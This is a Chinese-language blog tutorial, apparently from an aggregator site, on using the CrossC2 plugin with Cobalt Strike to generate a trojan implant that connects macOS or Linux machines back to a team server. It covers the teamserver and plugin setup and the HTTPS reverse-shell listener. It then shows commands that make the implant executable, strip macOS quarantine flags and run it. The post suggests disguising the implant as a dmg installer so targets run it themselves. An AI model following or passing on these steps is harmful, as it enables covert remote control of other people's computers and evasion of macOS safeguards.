当前位置: 首页 > news >正文

CS配合CrossC2插件,实现MacOS/Linux上线

前言

  • 我们知道CS原生只支持Windows上线,那么对于MacOS、Linux我们可以通过CrossC2插件实现上线
  • 下载地址:https://github.com/gloxec/CrossC2/releases
  • 我这里主要是演示上线MacOS,上线Linux是相同的,参考文章:https://blog.csdn.net/m0_61867082/article/details/131386931

环境

  • 客户端是Windows/Linux/Mac均可,只需要下载对应的脚本文件即可:
  • 然后CS的版本是4.7、4.8都可以,我们需要准备的文件有:
1. CrossC2-GithubBot-2023-11-20.cna# 插件本身2. genCrossC2.exe# 客户端是哪个就下哪个3. .cobaltstrike.beacon_keys# 从服务器TeamServer中下载到客户端
  • 注意这里.cobaltstrike.beacon_keys文件一定要从服务端下载到客户端本地
  • CS服务器尽量选用的是Linux,直接启动即可
./teamserver<IP><password>

  • 接着在客户端先配置CrossC2-GithubBot-2023-11-20.cna中的$CC2_PATH$CC2_BIN
$CC2_PATH="D:/path/CrossC2/";# <-------- fix$CC2_BIN="genCrossC2.exe";

  • 需要注意的就是
    1. 尽量不要包含中文路径(当然可以包含)
    2. $CC2_PATH是绝对路径,最后必须要有/
    3. 然后$CC2_BIN这个就根据你下载的脚本名称填写即可

木马生成

  • 首先创建监听器:
  • 然后加载我们的CrossC2插件,选择刚才下载的.cna文件:
  • 加载成功之后右上角就会多出CrossC2的插件:
  • 这里选择创建反向Shell的HTTPS监听器,根据标注的内容创建即可:
  • 点击生成他就会自动调用genCrossC2.exe创建木马程序,我们可以在事件监听器上看到如下日志:
  • 如果有红色框标记的地方即生成成功,如果没有可以将这条命令放到cmd/bash上执行一下看看报错

CS上线

  • 将生成的木马(只需要mactest即可,不用mactest.lib文件)放到Mac机器上,然后执行如下命令:
# 赋予执行权限chmod+x mactest# 移除文件的隔离标记xattr -cr mactest# 执行该文件./mactest

  • 成功上线并且正常执行命令,当然在实战当中肯定不可能这么搞,还需要手动执行chmod、xttar这些命令
  • 我们进阶的玩法就是可以将这个东西直接弄成可执行程序,或者弄成dmg的安装镜像,让他自己执行这些危险命令
  • 这些都是我们之后要考虑的事情了,我这里主要是测试一下能不能上线MacOS
http://www.cnnetsun.cn/news/43054.html

相关文章:

  • 4、Puppet 入门:从基础使用到主从架构搭建
  • 线性代数(五)向量空间与子空间
  • matlab debug 调试程序
  • VibeVoice-Large-Q8:语音模型存储与性能的革命性突破——8位选择性量化技术深度解析
  • 腾讯开源双引擎AI模型:混元3D开创多模态创作新纪元,千倍效率革命重塑数字内容生产
  • Csharp学习笔记——常用类、集合框架、泛型、字典精华总结
  • 下载神器downkyi:5分钟掌握任务优先级管理技巧
  • 63.测试策略-领域模型测试集成测试实操方法-附测试框架选择
  • 1.2 主流大模型初探:解锁OpenAI、Gemini、Claude的强大能力
  • Ring-mini-linear-2.0:融合线性注意力与稀疏专家的下一代高效大语言模型
  • MFC消息处理机制
  • 商业级图像合成引擎6.0版本重磅发布:解锁跨场景视觉创作新范式
  • MyBatis-Plus与Spring整合(02--Service的代理)
  • 11、渗透测试实战:目标探索、利用与攻击行动
  • 16、攻击收尾:报告与撤离
  • 20、树莓派的替代项目探索
  • 事件查看器-事件ID
  • 单步出图革命:Consistency Model如何以100倍效率重构AI绘画产业格局
  • 搭建鸿蒙PC命令行适配环境测试hello程序
  • 编辑相似度(Edit Similarity):原理、演进与多模态扩展
  • 【深度解析】MiniCPM 2.0:端侧大模型的技术性进展与技术革新
  • ClickHouse 快速入门
  • 基于SpringBoot的人事管理系统设计与实现
  • 【论文阅读】Multi-modal Spatial Clustering for Spatial Transcriptomics Utilizing High-resolution Histology
  • Day36官方文档的阅读
  • Windows右键菜单终极优化指南:让你的右键菜单重获新生
  • ZTools v1.1.2:桌面应用启动器与搜索工具
  • Flutter Android APK 重命名 签名验证操作
  • MarchingCubes 网格数据体素化并提取等值面
  • 基于SpringBoot的餐厅推荐系统 计算机毕业设计选题 计算机毕设项目 前后端分离 【源码-文档报告-代码讲解】